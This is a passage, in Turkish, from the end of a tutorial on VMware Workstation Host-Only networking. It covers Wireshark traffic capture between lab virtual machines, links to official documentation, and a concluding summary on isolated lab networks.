3. Promiscuous mode’u etkinleştirin. Capture Options’tan bu seçeneği işaretleyin.
4. Yakalamayı başlatın. Sanal makineler arasında trafik oluşturun (ping, HTTP isteği vb.).
5. Paketleri analiz edin. TCP üçlü el sıkışma, ARP istekleri, DNS sorguları gibi detayları inceleyin.

Wireshark ile Host-Only ağındaki trafiği analiz edin. Ardından ağ sorunlarını teşhis edin. Ayrıca güvenlik açıklarını tespit edin. Özellikle TCP/IP protokol davranışlarını inceleyin.

Örneğin, bir TCP bağlantısının neden kurulamadığını anlamak için SYN, SYN-ACK ve ACK paketlerini kontrol edin.

Promiscuous mode’un etkin olup olmadığını test etmek için bir sanal makineden diğerine ping atın. Dahası, Wireshark’ta her iki makinenin trafiğini de görmelisiniz. Sadece kendi makinenizin trafiğini görüyorsanız, promiscuous mode etkin değil demektir.

Host-Only Ağ Yapılandırması İçin İleri Düzey Kaynaklar

İzole sanal ağlar kurarak güvenliğinizi artırabilirsiniz. Ancak doğru adımları dikkatle izlemelisiniz. Ek olarak resmi kılavuzları inceleyerek süreci kolaylaştırabilirsiniz.

• Broadcom – Kurulum ve Yapılandırma Kılavuzu: Bu resmî belge sanal sistemler arasındaki güvenli bağlantıyı gösterir. Önceden temel ayarlarınızı tamamlamalısınız. Ek olarak bu rehberle izole ortamı sorunsuz çalıştırabilirsiniz.
• VMware Bilgi Bankası – Ağ Türleri İncelemesi: Bu makale farklı bağlantı modlarını detaylıca inceler. Böylece temel farkları hızlıca öğrenebilirsiniz. Sonuç olarak projeniz için doğru seçimi kolayca yaparsınız.
• Broadcom Destek Portalı – Alt Ağ Yönetimi: Bu teknik belge özel alt ağ oluşturma sürecini anlatır. Verilen adımları sırasıyla takip etmelisiniz. Ek olarak pratik yönetim ipuçlarıyla ağınızı güçlendirirsiniz.

VMware Host-Only Ağ Hakkında SSS

Sonuç: Host-Only Ağın Stratejik Değeri ve İlgili Rehberler

Host-Only ağı, VMware Workstation’ın en güçlü ve en yanlış anlaşılan ağ özelliklerinden biridir. Doğru yapılandırıldığında, size eşsiz bir Layer 2 izolasyon, güvenlik ve performans sunar.

Siber güvenlik çalışmalarından yazılım testlerine kadar geniş bir kullanım alanı vardır. Dahası Active Directory lab’larından malware analizine kadar uzanır.

Bu rehberde Host-Only ağının temel tanımıyla başladık. Ardından VMnet1 yapılandırmasını ele aldık. Ayrıca IP adresleme, DHCP ve statik IP konularını işledik. Ek olarak internet paylaşımı, güvenlik duvarı kuralları ve paket sızıntısı önleme konularına değindik.

Son olarak performans optimizasyonu ve sorun giderme konularını adım adım ele aldık. Umarım bu bilgiler, kendi izole ağ laboratuvarınızı kurmanızda size yol gösterir.

Unutmayın, her ağ yapılandırması kendine özgüdür. Bu rehberdeki adımları kendi ihtiyaçlarınıza göre uyarlayın. Ayrıca, VMware Workstation’ın yeni sürümleriyle gelen ağ güncellemelerini takip edin. Bu, en iyi performans ve güvenliği sağlamanın anahtarıdır.

Bir sonraki rehberde görüşmek üzere, ağınız her zaman izole ve güvenli kalsın!